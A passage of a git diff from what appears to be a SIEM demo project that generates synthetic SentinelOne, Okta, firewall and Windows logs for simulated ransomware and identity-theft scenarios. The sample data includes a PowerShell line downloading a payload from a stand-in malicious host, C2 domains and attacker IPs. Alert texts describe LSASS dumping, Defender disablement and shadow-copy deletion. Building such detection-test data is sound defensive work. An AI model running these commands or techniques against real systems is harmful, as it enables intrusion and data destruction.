8), - - # Indicator counts (threat detection) - "src.process.indicatorEvasionCount": random.randint(0, 5) if event_info["threatLevel"] > 5 else 0, - "src.process.indicatorExploitationCount": random.randint(0, 3) if event_info["threatLevel"] > 7 else 0, - "src.process.indicatorGeneralCount": random.randint(0, 10), - "src.process.indicatorInfostealerCount": random.randint(0, 2) if event_info["threatLevel"] > 6 else 0, - "src.process.indicatorInjectionCount": random.randint(0, 3) if event_info["threatLevel"] > 5 else 0, - "src.process.indicatorPersistenceCount": random.randint(0, 4) if event_info["threatLevel"] > 4 else 0, - "src.process.indicatorPostExploitationCount": random.randint(0, 2) if event_info["threatLevel"] > 8 else 0, - "src.process.indicatorRansomwareCount": random.randint(0, 1) if event_info["threatLevel"] > 9 else 0, - "src.process.indicatorReconnaissanceCount": random.randint(0, 6), - - # Additional process attributes - "src.process.isRedirectCmdProcessor": random.choice([True, False]) if "cmd" in process_info["name"] else False, - "src.process.imageIsExecutable": True if process_info["name"].endswith(".exe") else False, - "src.process.imageExecutionUpdateCount": random.randint(0, 5) + + # --- Event core --- + "event.category": category, + "event.id": f"{trace_id}_{event_seq}", + "event.time": _format_s1_time(event_time), + "event.type": event_type, + "meta.event.name": meta_name, + + # --- Management --- + "mgmt.id": str(random.randint(10000, 99999)), + "mgmt.osRevision": "Ubuntu 24.04.4 LTS 6.17.0-1007-aws" if is_linux else "Windows 10 Enterprise 22H2", + "mgmt.url": "usea1-purple.sentinelone.net", + "os.name": os_name, + + # --- Grouping / tracking --- + "group.id": group_id, + "i.scheme": "edr", + "i.version": "preprocess-lib-1.0", + "packet.id": packet_id, + "process.unique.key": process_unique_key, + "session": "", + "severity": 3, + "threadId": "default", + "threadName": "", + + # --- Source process --- + "src.process.name": proc["name"], + "src.process.displayName": proc["displayName"], + "src.process.cmdline": proc["cmdline"], + "src.process.pid": random.randint(1000, 999999), + "src.process.uid": src_uid, + "src.process.image.path": proc["path"], + "src.process.image.sha1": proc["sha1"] or _generate_sha1(), + "src.process.image.sha256": proc["sha256"] or _generate_sha256(), + "src.process.image.size": proc["size"], + "src.process.image.type": "FT_UNKNOWN", + "src.process.image.uid": image_uid, + "src.process.image.binaryIsExecutable": True if proc["sha1"] else "", + "src.process.startTime": _format_s1_time(start_time), + "src.process.storyline.id": storyline_id, + "src.process.signedStatus": "unsigned", + "src.process.integrityLevel": "INTEGRITY_LEVEL_UNKNOWN", + "src.process.isNative64Bit": False, + "src.process.isRedirectCmdProcessor": False, + "src.process.isStorylineRoot": False, + "src.process.subsystem": "SUBSYSTEM_UNKNOWN", + "src.process.sessionId": 0, + "src.process.eUserUid": 0, + "src.process.rUserUid": 0, + + # --- Source process counters --- + "src.process.childProcCount": 0, + "src.process.crossProcessCount": 0, + "src.process.crossProcessDupRemoteProcessHandleCount": 0, + "src.process.crossProcessDupThreadHandleCount": 0, + "src.process.crossProcessOpenProcessCount": 0, + "src.process.crossProcessOutOfStorylineCount": 0, + "src.process.crossProcessThreadCreateCount": 0, + "src.process.dnsCount": 0, + "src.process.moduleCount": 0, + "src.process.netConnCount": 0, + "src.process.netConnInCount": 0, + "src.process.netConnOutCount": 0, + "src.process.registryChangeCount": 0, + "src.process.tgtFileCreationCount": 0, + "src.process.tgtFileDeletionCount": 0, + "src.process.tgtFileModificationCount": 0, + + # --- Source process indicator counters --- + "src.process.indicatorBootConfigurationUpdateCount": 0, + "src.process.indicatorEvasionCount": 0, + "src.process.indicatorExploitationCount": 0, + "src.process.indicatorGeneralCount": 0, + "src.process.indicatorInfostealerCount": 0, + "src.process.indicatorInjectionCount": 0, + "src.process.indicatorPersistenceCount": 0, + "src.process.indicatorPostExploitationCount": 0, + "src.process.indicatorRansomwareCount": 0, + "src.process.indicatorReconnaissanceCount": 0, + + # --- Parent process --- + "src.process.parent.name": parent["name"], + "src.process.parent.displayName": parent["displayName"], + "src.process.parent.cmdline": parent["cmdline"], + "src.process.parent.pid": parent["pid"], + "src.process.parent.image.path": parent["path"], + "src.process.parent.image.sha1": parent["sha1"] or _generate_sha1(), + "src.process.parent.image.sha256": parent["sha256"] or _generate_sha256(), + "src.process.parent.image.size": parent["size"], + "src.process.parent.image.type": "FT_UNKNOWN", + "src.process.parent.image.uid": parent_image_uid, + "src.process.parent.startTime": _format_s1_time(parent_start), + "src.process.parent.storyline.id": parent_storyline_id, + "src.process.parent.signedStatus": "unsigned", + "src.process.parent.integrityLevel": "INTEGRITY_LEVEL_UNKNOWN", + "src.process.parent.isNative64Bit": False, + "src.process.parent.isRedirectCmdProcessor": False, + "src.process.parent.isStorylineRoot": False, + "src.process.parent.sessionId": 0, + "src.process.parent.eUserUid": 0, + "src.process.parent.rUserUid": 0, } - - # Add specialized fields based on event type - if event_info["eventType"] == "Network Connection": - event.update({ - "event.network.direction": random.choice(["Outbound", "Inbound"]), - "event.network.connectionStatus": random.choice(["Established", "Failed", "Blocked"]), - "event.network.protocolName": random.choice(["TCP", "UDP", "ICMP"]), - "src.ip.address": generate_ip_address(), - "src.port.number": random.randint(1024, 65535), - "dst.ip.address": generate_ip_address(), - "dst.port.number": random.choice([80, 443, 53, 22, 3389, 135, 445]) - }) - - elif event_info["eventType"] == "File Creation": - file_path = f"C:\\Users\\{user}\\Documents\\document_{random.randint(1,1000)}.{random.choice(['txt', 'docx', 'pdf', 'xlsx'])}" - event.update({ - "tgt.file.path": file_path, - "tgt.file.size": random.randint(1024, 10485760), - "tgt.file.oldPath": None - }) - - elif event_info["eventType"] == "Malware Detection": - threat = random.choice(THREAT_INDICATORS) - event.update({ - "indicator.category": "Malware", - "indicator.name": threat["name"], - "indicator.description": f"Detected {threat['type']} - {threat['family']}", - "indicator.metadata": json.dumps({ - "threat_type": threat["type"], - "family": threat["family"], - "confidence": random.randint(80, 100), - "action": random.choice(["Quarantine", "Kill", "Block", "Monitor"]) - }) - }) - - elif event_info["eventType"] == "Registry Modification" and "Windows" in os_info["os"]: - reg_path = random.choice([ - "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", - "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", - "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services" - ]) - event.update({ - "registry.keyPath": reg_path, - "registry.value": f"entry_{random.randint(1,100)}" - }) - - elif event_info["eventType"] == "PowerShell Execution": - ps_script = random.choice([ - "Get-Process | Where-Object {$_.CPU -gt 100}", - "Invoke-WebRequest -Uri 'http://malicious.com/payload.ps1'", - "Get-ADUser -Filter *", - "New-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'calc.exe')" - ]) - event.update({ - "cmdScript.content": ps_script, - "src.process.name": "powershell.exe", - "src.process.cmdline": f"powershell.exe -ExecutionPolicy Bypass -Command \"{ps_script}\"" - }) - - elif event_info["eventType"] == "DNS Query": - domain = random.choice([ - "google.com", "microsoft.com", "github.com", - "malicious-domain.com", "phishing-site.net", "c2-server.org" - ]) - event.update({ - "event.dns.request": domain, - "event.dns.response": generate_ip_address() - }) - - elif event_info["eventType"] == "URL Access": - url = random.choice([ - "https://www.google.com/search?q=sensitive+data", - "http://suspicious-site.com/download/malware.exe", - "https://github.com/user/repo/releases/download/tool.zip" - ]) - event.update({ - "url.address": url, - "event.url.action": random.choice(["Allowed", "Blocked"]) - }) - - elif event_info["eventType"] in ["Scheduled Task Update", "Scheduled Task Start", "Scheduled Task Trigger", "Scheduled Task Delete"]: - task_name = f"UpdateTask_{random.randint(1,100)}" - event.update({ - "task.name": task_name, - "task.path": f"C:\\Windows\\Tasks\\{task_name}.job" - }) - - elif event_info["eventType"] == "Module Load": - module_path = random.choice([ - "C:\\Windows\\System32\\kernel32.dll", - "C:\\Windows\\System32\\ntdll.dll", - "C:\\Program Files\\Malware\\evil.dll" - ]) - event.update({ - "module.path": module_path - }) - - # Add target process information for some events - if event_info["eventType"] in ["Process Creation", "Code Injection"]: - event.update({ - "tgt.process.uid": str(uuid.uuid4()), - "tgt.process.cmdline": random.choice([ - "notepad.exe document.txt", - "calc.exe", - "cmd.exe /c whoami" - ]), - "tgt.process.user": user, - "tgt.process.relation": random.choice(["child", "sibling", "unrelated"]) - }) - - # Add Windows Event Log information for Windows events - if "Windows" in os_info["os"]: - event.update({ - "winEventLog.channel": random.choice(["Security", "System", "Application"]), - "winEventLog.id": random.randint(1000, 9999), - "winEventLog.level": random.choice(["Information", "Warning", "Error"]), - "winEventLog.providerName": "SentinelOne-Agent", - "winEventLog.description": f"SentinelOne detected {event_info['eventType']} on {endpoint_name}", - "winEventLog.description.userid": user, - "winEventLog.description.securityId": f"S-1-5-21-{random.randint(100000000,999999999)}-{random.randint(100000000,999999999)}-{random.randint(100000000,999999999)}-{random.randint(1000,9999)}" - }) - - # Add threat intelligence indicators for high-severity events - if event_info["threatLevel"] > 7: - event.update({ - "tiIndicator.source": "SentinelOne Threat Intelligence", - "tiIndicator.value": event.get("src.ip.address", event.get("dst.ip.address", "")) - }) - - # Add thread information for process events - if "Process" in event_info["eventType"]: - event.update({ - "threadId": random.randint(1000, 9999), - "threadName": f"Thread_{random.randint(1,20)}" - }) - - # Apply custom fields if provided - if custom_fields: - event.update(custom_fields) - + + # Apply custom_fields last — any caller override wins + if cf: + event.update(cf) + return event + +# --------------------------------------------------------------------------- +# Convenience wrappers for common event types +# --------------------------------------------------------------------------- + +def generate_endpoint_name(endpoint_type: str = "server", os_info: Dict = None) -> str: + """Generate realistic endpoint names (kept for backward compat).""" + os_info = os_info or {"os": "Linux"} + prefix = {"server": "srv", "workstation": "ws", "laptop": "lt"}.get(endpoint_type, "ep") + suffix = random.randint(100, 999) + if os_info.get("os") == "Linux": + return f"{prefix}-{suffix}" + return f"{prefix.upper()}-{suffix}" + + +def generate_sha256() -> str: + return _generate_sha256() + + +def generate_ip_address() -> str: + return _generate_ip() + + +def format_timestamp(dt: datetime) -> str: + """Return S1 human-readable time string (replaces old epoch-ms helper).""" + return _format_s1_time(dt) + + if __name__ == "__main__": - # Generate sample events - print("Sample SentinelOne Endpoint Events:") - print("=" * 50) - + import json as _json + print("Sample SentinelOne Endpoint Events (V2 — real schema):") + print("=" * 60) for i in range(3): - print(f"\nEvent {i+1}:") - print(sentinelone_endpoint_log()) \ No newline at end of file + evt = sentinelone_endpoint_log() + print(f"\nEvent {i+1} ({evt['event.type']}):") + print(_json.dumps(evt, indent=2)) diff --git a/Backend/scenarios/apollo_ransomware_scenario.py b/Backend/scenarios/apollo_ransomware_scenario.py index 0fc1af7..0204eaa 100644 --- a/Backend/scenarios/apollo_ransomware_scenario.py +++ b/Backend/scenarios/apollo_ransomware_scenario.py @@ -150,30 +150,39 @@ # Alert configuration for scenario phases ALERT_PHASE_MAPPING = { - "📬 PHASE 2: Email Interaction": { - "template": "proofpoint_email_alert", + "� PHASE 1: Phishing Email Delivery": { + "template": "default_alert", "offset_minutes": 2, # 2 min after delivery (user clicks link) "target_machine": "email", "overrides": { - "finding_info.title": "HELIOS - Malicious Email Link Clicked", + "finding_info.title": "Malicious Email Link Clicked", "finding_info.desc": f"User {VICTIM_PROFILE['email']} clicked malicious link in phishing email from {ATTACKER_PROFILE['sender_email']}" } }, + "� PHASE 2: Email Interaction": { + "template": "default_alert", + "offset_minutes": 2, # 2 min after delivery (user clicks link) + "target_machine": "email", + "overrides": { + "finding_info.title": "Email Interaction", + "finding_info.desc": f"User {VICTIM_PROFILE['email']} interacted with phishing email from {ATTACKER_PROFILE['sender_email']}" + } + }, "📤 PHASE 4: Data Exfiltration": { - "template": "sharepoint_data_exfil_alert", + "template": "advanced_sample_alert", "offset_minutes": 25, # After last document download (base+24:30) "target_machine": "email", "overrides": { - "finding_info.title": "HELIOS - Data Exfiltration from SharePoint", + "finding_info.title": "Data Exfiltration from SharePoint", "finding_info.desc": f"User {VICTIM_PROFILE['email']} downloaded sensitive documents including Personnel Records and Command Codes" } }, "rdp_download": { - "template": "o365_rdp_sharepoint_access", + "template": "advanced_sample_alert", "offset_minutes": 35, # After RDP file download event (base+25) "target_machine": "email", "overrides": { - "finding_info.title": "HELIOS - OneDrive RDP Files Downloaded", + "finding_info.title": "OneDrive RDP Files Downloaded", "finding_info.desc": f"User {VICTIM_PROFILE['email']} downloaded RDP files from SharePoint - potential lateral movement preparation" } }, @@ -308,7 +317,7 @@ def send_phase_alert( phase_name: str, base_time: datetime, uam_config: dict, - strip_helios_prefix: bool = False + include_helios_prefix: bool = False ) -> bool: """Send alert for a specific phase with correct timing. @@ -380,11 +389,11 @@ def send_phase_alert( else: alert[key] = value - # Strip "HELIOS - " prefix from alert title if requested - if strip_helios_prefix: + # Add HELIOS prefix to alert title if requested + if include_helios_prefix: title = alert.get("finding_info", {}).get("title", "") - if title.startswith("HELIOS - "): - alert["finding_info"]["title"] = title[len("HELIOS - "):] + if title and not title.startswith("HELIOS - "): + alert["finding_info"]["title"] = f"HELIOS - {title}" # Send alert via UAM ingest API try: @@ -710,7 +719,7 @@ def generate_m365_sharepoint_bruteforce(base_time: datetime) -> List[Dict]: ("Xenobiology-Research-Data.xlsx", "/sites/Science/Shared Documents/Research/"), ("Astrophysics-Survey-Results.xlsx", "/sites/Science/Shared Documents/Surveys/"), ("Subspace-Anomaly-Catalog.xlsx", "/sites/Science/Shared Documents/Anomalies/"), - ("Medical-Research-Trials.xlsx", "/sites/Medical/Shared Documents/Research/"), + ("Medical-Research-Classified.xlsx", "/sites/Medical/Shared Documents/Research/"), ("Pharmaceutical-Inventory.xlsx", "/sites/Medical/Shared Documents/Inventory/"), ("Crew-Medical-Records-Full.xlsx", "/sites/Medical/Shared Documents/Records/"), ("Quarantine-Protocols.docx", "/sites/Medical/Shared Documents/Protocols/"), @@ -819,7 +828,7 @@ def generate_m365_sharepoint_exfil(base_time: datetime) -> List[Dict]: On the exfil day the attacker downloads ~120 files — the original sensitive documents plus a large bulk sweep of everything they can - reach, creating a 10× spike over the normal ~10 files/day baseline. + reach, creating a massive spike compared to the normal ~10 files/day. """ events = [] @@ -912,7 +921,7 @@ def generate_m365_sharepoint_exfil(base_time: datetime) -> List[Dict]: def generate_apollo_ransomware_scenario( siem_context: Optional[Dict] = None, suppress_alerts: Optional[bool] = None, - strip_helios_prefix: Optional[bool] = None, + include_helios_prefix: Optional[bool] = None, ) -> Dict: """Generate the complete Apollo ransomware scenario (Proofpoint + M365 only) @@ -922,13 +931,13 @@ def generate_apollo_ransomware_scenario( If provided, timestamps are calculated relative to existing EDR/WEL data. If None, falls back to offset from current time. suppress_alerts: If True, skip sending UAM alerts. Env fallback: SCENARIO_SUPPRESS_ALERTS. - strip_helios_prefix: If True, remove "HELIOS - " prefix from alert titles. Env fallback: SCENARIO_STRIP_HELIOS_PREFIX. + include_helios_prefix: If True, add "HELIOS - " prefix to alert titles. Env fallback: SCENARIO_INCLUDE_HELIOS_PREFIX. """ # Resolve options from args or env vars if suppress_alerts is None: suppress_alerts = os.getenv('SCENARIO_SUPPRESS_ALERTS', 'false').lower() == 'true' - if strip_helios_prefix is None: - strip_helios_prefix = os.getenv('SCENARIO_STRIP_HELIOS_PREFIX', 'false').lower() == 'true' + if include_helios_prefix is None: + include_helios_prefix = os.getenv('SCENARIO_INCLUDE_HELIOS_PREFIX', 'false').lower() == 'true' # Determine base time based on SIEM context or fallback use_correlation = False @@ -1036,8 +1045,8 @@ def generate_apollo_ransomware_scenario( print("\n🚨 ALERT DETONATION ENABLED") print(f" UAM Ingest: {uam_ingest_url}") print(f" Account ID: {uam_account_id}") - if strip_helios_prefix: - print(f" Strip HELIOS prefix: Yes") + if include_helios_prefix: + print(f" Include HELIOS prefix: Yes") print("=" * 80) else: print("⚠️ SCENARIO_ALERTS_ENABLED=true but UAM credentials missing") @@ -1096,13 +1105,13 @@ def generate_apollo_ransomware_scenario( phase_alert_key = phase_name.split(" (~")[0] if " (~" in phase_name else phase_name if alerts_enabled and phase_alert_key in ALERT_PHASE_MAPPING: print(f" 📤 Sending alert for {phase_name}...", end=" ") - success = send_phase_alert(phase_alert_key, phase_base_time, uam_config, strip_helios_prefix=strip_helios_prefix) + success = send_phase_alert(phase_alert_key, phase_base_time, uam_config, include_helios_prefix=include_helios_prefix) print(f"{'✓' if success else '✗'}") # Send RDP alert after data exfiltration phase if alerts_enabled and "PHASE 4: Data Exfiltration" in phase_name: print(f" 📤 Sending RDP download alert...", end=" ") - success = send_phase_alert("rdp_download", phase_base_time, uam_config, strip_helios_prefix=strip_helios_prefix) + success = send_phase_alert("rdp_download", phase_base_time, uam_config, include_helios_prefix=include_helios_prefix) print(f"{'✓' if success else '✗'}") # Send standalone WEL alerts (not tied to a specific event generation phase) @@ -1116,7 +1125,7 @@ def generate_apollo_ransomware_scenario( ] for alert_key, alert_desc in wel_alerts: print(f" 📤 {alert_desc}...", end=" ") - success = send_phase_alert(alert_key, base_time, uam_config, strip_helios_prefix=strip_helios_prefix) + success = send_phase_alert(alert_key, base_time, uam_config, include_helios_prefix=include_helios_prefix) print(f"{'✓' if success else '✗'}") all_events.sort(key=lambda x: x["timestamp"]) diff --git a/Backend/scenarios/identity_theft_ransomware_scenario.py b/Backend/scenarios/identity_theft_ransomware_scenario.py new file mode 100644 index 0000000..05263b6 --- /dev/null +++ b/Backend/scenarios/identity_theft_ransomware_scenario.py @@ -0,0 +1,1969 @@ +#!/usr/bin/env python3 +""" +Cross-Platform Identity Theft & Ransomware Scenario +=============================================== + +Advanced, multi-phase attack simulating a modern identity-led intrusion +TTPs aligned to real-world intrusion reporting: + + - Credential theft via esentutl.exe LOLBin (Chrome DB copy) + PyInstaller stealer + - Stolen OAuth refresh-token abuse through Okta (non-interactive sign-in) + - C2 via legitimate remote-access tools: ScreenConnect, ngrok tunnels, AnyDesk + - AD reconnaissance with SharpHound (BloodHound), ADRecon, csvde, native LOLBins + - LSASS dump via comsvcs.dll MiniDump + Okta privilege escalation + - ALPHV/BlackCat ransomware deployment with per-victim access-token config + - VSS deletion, Defender disablement, and boot recovery inhibition + +Cross-product correlation across EDR, identity (Okta), network (Palo Alto), +and Windows Security logs in a single data lake. + +Sources: +- SentinelOne EDR/XDR (endpoint) +- Okta Authentication (identity / IdP) +- Palo Alto Firewall (network) +- Windows Event Logs (endpoint / Windows Security) + +Phases & Steps: + Phase 1 – Initial Access / Credential Theft (steps 1-5) + Phase 2 – Command & Control (steps 6-7) + Phase 3 – Endpoint Discovery & Staging (step 8) + Phase 4 – Credential & Privilege Abuse (step 9) + Phase 5 – Ransomware Preparation (step 10) + Phase 6 – Ransomware Execution / Impact (steps 11-12) + +MITRE ATT&CK: + T1539 – Steal Web Session Cookie + T1550 – Use Alternate Authentication Material + T1078 – Valid Accounts + T1219 – Remote Access Software (ScreenConnect, AnyDesk, ngrok) + T1218 – System Binary Proxy Execution (esentutl.exe) + T1059 – Command and Scripting Interpreter + T1003 – OS Credential Dumping (LSASS) + T1087 – Account Discovery (SharpHound, ADRecon) + T1486 – Data Encrypted for Impact (ALPHV/BlackCat) + T1490 – Inhibit System Recovery + T1562 – Impair Defenses (Set-MpPreference) +""" + +import json +import os +import sys +import errno +import random +import uuid +import hashlib +import copy +import gzip +try: + import requests +except ModuleNotFoundError: + requests = None +from datetime import datetime, timezone, timedelta +from typing import Dict, List, Optional + +# --------------------------------------------------------------------------- +# Path setup — same pattern as other scenarios +# --------------------------------------------------------------------------- +script_dir = os.path.dirname(os.path.abspath(__file__)) +backend_dir = os.path.dirname(script_dir) +sys.path.insert(0, backend_dir) +sys.path.insert(0, os.path.join(backend_dir, 'event_generators')) +sys.path.insert(0, os.path.join(backend_dir, 'event_generators', 'endpoint_security')) +sys.path.insert(0, os.path.join(backend_dir, 'event_generators', 'identity_access')) +sys.path.insert(0, os.path.join(backend_dir, 'event_generators', 'network_security')) +sys.path.insert(0, os.path.join(backend_dir, 'event_generators', 'shared')) + +# Import event generators +from sentinelone_endpoint import sentinelone_endpoint_log +from okta_authentication import okta_authentication_log +from paloalto_firewall import paloalto_firewall_log, generate_traffic_log, generate_threat_log +from microsoft_windows_eventlog import microsoft_windows_eventlog_log + +# --------------------------------------------------------------------------- +# Profiles +# --------------------------------------------------------------------------- +VICTIM_PROFILE = { + "name": "Chris Nakamura", + "email": "chris@roarinpenguin.com", + "username": "chris.nakamura", + "department": "Engineering", + "role": "Senior Software Engineer", + "domain": "ROARINPENGUIN", + "hostname": "HOST-EXT01", + "hostname_secondary": "HOST-01", + "normal_ip": "10.20.5.42", + "external_ip": "203.0.113.55", + "okta_user_id": str(uuid.uuid4()), + "work_hours_start": 8, + "work_hours_end": 18, +} + +ATTACKER_PROFILE = { + "name": "Identity Theft Operator", + "attacker_ip": "91.215.85.22", # Unusual IP / attacker VPS + "attacker_asn": "AS44477", # Bulletproof hosting ASN + "attacker_isp": "Stark Industries Solutions", + "attacker_country": "Moldova", + "attacker_city": "Chisinau", + # C2: attacker abuses legitimate remote-access tools + "c2_domain_primary": "relay.screenconnect.com", # ConnectWise ScreenConnect relay + "c2_domain_secondary": "0.tcp.ngrok.io", # ngrok tunnel + "c2_ip_primary": "185.220.101.45", + "c2_ip_secondary": "45.153.241.89", + "c2_port": 443, + "c2_port_secondary": 13372, # ngrok random high port + "screenconnect_binary": "ScreenConnect.ClientService.exe", + "anydesk_binary": "AnyDesk.exe", + "stolen_token_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", + # Credential theft: attacker uses esentutl + Python stealers + "credential_tool": "esentutl.exe", # Native Windows LOLBin for DB copy + "credential_stealer": "chromium_dump.py", # Custom Python stealer + "credential_stealer_compiled": "svc_diag.exe", # PyInstaller-compiled stealer + "credential_tool_sha256": hashlib.sha256(b"identity-theft-svc-diag-stealer").hexdigest(), + # Ransomware: ALPHV/BlackCat (Rust-based) + "ransomware_binary": "svchost_update.exe", # Masquerading as svchost + "ransomware_config": "desktop.dat", # Encrypted ALPHV config + "ransomware_family": "ALPHV/BlackCat", + "ransomware_sha256": hashlib.sha256(b"alphv-blackcat-identity-theft").hexdigest(), + "ransomware_sha1": hashlib.sha1(b"alphv-blackcat-identity-theft").hexdigest(), + "ransomware_md5": hashlib.md5(b"alphv-blackcat-identity-theft").hexdigest(), + "ransomware_extension": ".kh1ftzx", # ALPHV random 7-char extension + "ransom_note": "RECOVER-kh1ftzx-FILES.txt", # ALPHV-style note + "new_device_name": "YOURORG-IT-PC03", # Social engineering: looks like IT dept +} + +# Correlation config (same pattern as Apollo scenario) +CORRELATION_CONFIG = { + "scenario_id": "identity-theft-ransomware", + "name": "Cross-Platform Identity Theft & Ransomware", + "description": ( + "Advanced identity-led attack: esentutl.exe LOLBin credential theft, " + "stolen OAuth refresh-token abuse through Okta, C2 via ScreenConnect/ngrok/AnyDesk, " + "AD reconnaissance (SharpHound, ADRecon), LSASS dump + Okta privilege escalation, " + "and ALPHV/BlackCat ransomware execution with VSS deletion." + ), + "default_query": ( + "dataSource.name in ('SentinelOne','Windows Event Logs','Okta Authentication','Palo Alto Firewall') " + "endpoint.name contains ('HOST-EXT01','HOST-01') OR src.user.name contains 'chris'\n\n" + "| group newest_timestamp = newest(timestamp), oldest_timestamp = oldest(timestamp) " + "by event.type, src.process.user, endpoint.name\n" + "| sort newest_timestamp\n" + "| columns event.type, src.process.user, endpoint.name, oldest_timestamp, newest_timestamp" + ), + "time_anchors": [ + { + "id": "credential_theft_start", + "name": "Credential Theft Start", + "description": "First EDR activity showing credential dumping on HOST-EXT01", + "query_match": {"endpoint.name": "HOST-EXT01"}, + "use_field": "oldest_timestamp", + "required": True, + }, + { + "id": "ransomware_detection", + "name": "Ransomware Detection", + "description": "Ransomware alert on HOST-01", + "query_match": {"endpoint.name": "HOST-01"}, + "use_field": "newest_timestamp", + "required": False, + }, + ], + "phase_mapping": { + "credential_theft": { + "anchor": "credential_theft_start", + "offset_minutes": 0, + "description": "Credential dumping begins on HOST-EXT01", + }, + "identity_abuse": { + "anchor": "credential_theft_start", + "offset_minutes": 5, + "description": "Stolen token redeemed ~5 min after dump", + }, + "command_and_control": { + "anchor": "credential_theft_start", + "offset_minutes": 12, + "description": "C2 connections from compromised host", + }, + "discovery_staging": { + "anchor": "credential_theft_start", + "offset_minutes": 20, + "description": "Endpoint discovery and staging", + }, + "privilege_abuse": { + "anchor": "credential_theft_start", + "offset_minutes": 30, + "description": "Credential theft and privilege escalation", + }, + "ransomware_prep": { + "anchor": "credential_theft_start", + "offset_minutes": 40, + "description": "Ransomware staging on HOST-01", + }, + "ransomware_execution": { + "anchor": "credential_theft_start", + "offset_minutes": 50, + "description": "Ransomware detonation and VSS deletion", + }, + }, + "fallback_behavior": "offset_from_now", +} + +# Alert configuration for scenario phases +ALERT_PHASE_MAPPING = { + "🔑 PHASE 1 – Initial Access / Credential Theft": { + "template": "default_alert", + "offset_minutes": 6, + "target": "host_initial", + "overrides": { + "finding_info.title": "Browser credential database copied via esentutl.exe (LOLBin)", + "finding_info.desc": ( + f"Credential-theft activity detected for {VICTIM_PROFILE['email']} on {VICTIM_PROFILE['hostname']}. " + f"Native Windows utility esentutl.exe was used to copy Chrome Login Data and Cookies databases, " + f"followed by execution of a PyInstaller-compiled stealer ({ATTACKER_PROFILE['credential_stealer_compiled']}). " + f"This maps to T1539 (Steal Web Session Cookie) and T1550.001 (Application Access Token) – " + f"a high-fidelity credential harvesting chain." + ), + "severity_id": 4, + "severity": "high", + }, + }, + "📡 PHASE 2 – Command & Control": { + "template": "default_alert", + "offset_minutes": 14, + "target": "host_initial", + "overrides": { + "finding_info.title": "Unauthorized remote access tools installed (ScreenConnect, ngrok, AnyDesk)", + "finding_info.desc": ( + f"Multiple unauthorized remote management tools were installed on {VICTIM_PROFILE['hostname']}: " + f"ConnectWise ScreenConnect (silent MSI install), ngrok reverse TCP tunnel to " + f"{ATTACKER_PROFILE['c2_ip_secondary']}:{ATTACKER_PROFILE['c2_port_secondary']}, and AnyDesk with " + f"auto-start persistence. The intrusion consistently abuses legitimate remote access software " + f"for hands-on-keyboard C2 to evade network-based detections." + ), + "severity_id": 5, + "severity": "critical", + }, + }, + "🔍 PHASE 3 – Endpoint Discovery & Staging": { + "template": "default_alert", + "offset_minutes": 22, + "target": "host_secondary", + "overrides": { + "finding_info.title": "Active Directory reconnaissance via SharpHound and ADRecon", + "finding_info.desc": ( + f"Extensive AD enumeration detected on {VICTIM_PROFILE['hostname_secondary']} launched from " + f"ScreenConnect session: SharpHound (BloodHound collector) with --CollectionMethods All, " + f"ADRecon PowerShell module, csvde.exe user export, plus native discovery LOLBins " + f"(net group, nltest /dclist, systeminfo). Consistent with pre-escalation " + f"reconnaissance mapping Domain Admins and trust relationships." + ), + "severity_id": 4, + "severity": "high", + }, + }, + "⚡ PHASE 4 – Credential & Privilege Abuse": { + "template": "default_alert", + "offset_minutes": 32, + "target": "host_secondary", + "overrides": { + "finding_info.title": "LSASS credential dump and Okta SUPER_ADMIN role assignment", + "finding_info.desc": ( + f"Privilege escalation chain detected: comsvcs.dll MiniDump used to dump LSASS memory on " + f"{VICTIM_PROFILE['hostname_secondary']}, Windows 4672 special-privilege logon observed, " + f"followed by Okta SUPER_ADMIN role granted to {VICTIM_PROFILE['email']} from attacker IP " + f"{ATTACKER_PROFILE['attacker_ip']} ({ATTACKER_PROFILE['attacker_country']}). This cross-platform " + f"escalation from endpoint to identity provider is a core identity-led intrusion pattern." + ), + "severity_id": 5, + "severity": "critical", + }, + }, + "💣 PHASE 5 – Ransomware Preparation": { + "template": "default_alert", + "offset_minutes": 41, + "target": "host_secondary", + "overrides": { + "finding_info.title": f"{ATTACKER_PROFILE['ransomware_family']} ransomware payload staged with defense evasion", + "finding_info.desc": ( + f"ALPHV/BlackCat ransomware staging detected on {VICTIM_PROFILE['hostname_secondary']}: " + f"Rust-based encryptor dropped as {ATTACKER_PROFILE['ransomware_binary']} alongside encrypted config " + f"({ATTACKER_PROFILE['ransomware_config']}), Windows Defender real-time protection disabled via " + f"Set-MpPreference, and boot recovery disabled via bcdedit. This reflects a modern " + f"identity compromise progressing to ransomware deployment." + ), + "severity_id": 5, + "severity": "critical", + }, + }, + "🔥 PHASE 6 – Ransomware Execution / Impact": { + "template": "default_alert", + "offset_minutes": 52, + "target": "host_secondary", + "overrides": { + "finding_info.title": f"{ATTACKER_PROFILE['ransomware_family']} ransomware executed – VSS deleted, files encrypted", + "finding_info.desc": ( + f"High-confidence ALPHV/BlackCat ransomware execution on {VICTIM_PROFILE['hostname_secondary']}: " + f"files encrypted with {ATTACKER_PROFILE['ransomware_extension']} extension, ransom notes " + f"({ATTACKER_PROFILE['ransom_note']}) dropped per directory, Volume Shadow Copies deleted via " + f"vssadmin and wmic, VSS service disabled via sc.exe, and boot policy set to ignoreallfailures. " + f"Maps to T1486 (Data Encrypted for Impact) and T1490 (Inhibit System Recovery)." + ), + "severity_id": 5, + "severity": "critical", + }, + }, +} + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +def get_scenario_time(base_time: datetime, minutes_offset: int, seconds_offset: int = 0) -> str: + event_time = base_time + timedelta(minutes=minutes_offset, seconds=seconds_offset) + return event_time.isoformat() + +def ts_ns(base_time: datetime, minutes_offset: int, seconds_offset: int = 0) -> int: + """Return epoch nanoseconds for SentinelOne event.time field.""" + dt = base_time + timedelta(minutes=minutes_offset, seconds=seconds_offset) + return str(int(dt.timestamp() * 1_000_000_000)) + +def create_event(timestamp: str, source: str, phase: str, event_data) -> Dict: + return {"timestamp": timestamp, "source": source, "phase": phase, "event": event_data} + +def load_alert_template(template_id: str) -> Optional[Dict]: + """Load an alert template JSON from the templates directory.""" + candidate_dirs = [ + os.path.join(backend_dir, 'api', 'app', 'alerts', 'templates'), + 